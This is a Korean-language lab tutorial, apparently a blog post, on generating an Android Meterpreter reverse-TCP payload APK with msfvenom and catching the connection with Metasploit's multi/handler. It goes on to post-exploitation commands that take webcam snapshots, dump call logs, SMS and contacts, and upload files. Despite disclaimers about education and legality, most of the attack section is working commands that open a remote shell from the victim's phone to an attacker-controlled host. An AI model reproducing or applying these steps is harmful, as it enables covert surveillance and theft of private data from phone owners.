실습에 필요한 장비 및 시스템
- LAN
- Kali Linux (가급적 meterpreter가 최신일 것)
- Android를 사용하는 기기
실습 전 참고 및 주의사항
- 이 실습은 크래킹이 목적이 아닌 Android에 사용되는 Payload의 이해를 위한 작업임.
- 사용하는 Android기기의 Android 버전, 보안 정책, 보안 패치 등에 따라 설치나 일부 기능이 작동하지 않을 수 있음.
- 악의적인 목적으로 사용시 처벌받을 수 있음.
- 실습 후 반드시 설치한 Payload 애플리케이션을 삭제할것.
해당 실습 서술에 사용된 환경
Kali Linux 2019.1
SONY Xperia XZ1C (G8441)
Android Version : 9
보안 패치 수준 : 2019-04-01
SAMSUNG GALAXY S4 LTE-A (SHV-E330S)
Android Version : 5.0.1
보안 패치 수준 : 2016-09-01
Msfconsole 실행 후 명령어로 payload 애플리케이션을 생성한다.
1 2 | msfconsole msfvenom –p android/meterpreter/reverse_tcp LHOST=공격자IP R > ‘생성위치’ | cs |
다음 명령어로 payload유형과 ip를 지정후 접속 대기상태로 전환한다.
1 2 3 4 | use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST ‘공격자IP’ exploit | cs |
컴파일 한 payload 애플리케이션을 실습할 기기에 복사 후 설치를 진행한다.
이 과정에서 요구권한을 보면 사실상 애플리케이션이 가능한 거의 모든 권한을 요구하고 있는 것을 확인 할 수 있다.
설치 후 실행을 누르면 바로 payload가 작동하며 따로 화면은 열리지 않는다.
정상적으로 실행 되었다면 이전에 접속 대기시켜놓았던 터미널에서 접속이 확인되고
meterpreter 콘솔이 열릴 것이다.
할 수 있는 작업은 여러가지가 있으나 주로 많이 당하는 유형을 실습한다.
Webcam_snap 명령으로 해당 기기의 카메라를 작동시켜 촬영후 공격자의 시스템에 전송할 수 있다.
dump_calllog, dump_sms, dump_contacts로 각각 통화기록, 문자기록, 연락처를 수집하여 텍스트 파일로 저장할 수 있다.
디렉토리 관련 명령인 ls, cd, pwd등을 사용할 수 있으며 실행시 기본 디렉터리는 payload 애플리케이션 데이터 디렉터리다.
Upload 명령으로 파일을 업로드 할 수도 있다.
업로드 후 해당 기기에서 확인시 업로드가 되었음을 확인 할 수 있다.
반대로 다운로드도 가능하나 이 실습에는 서술하지 않는다.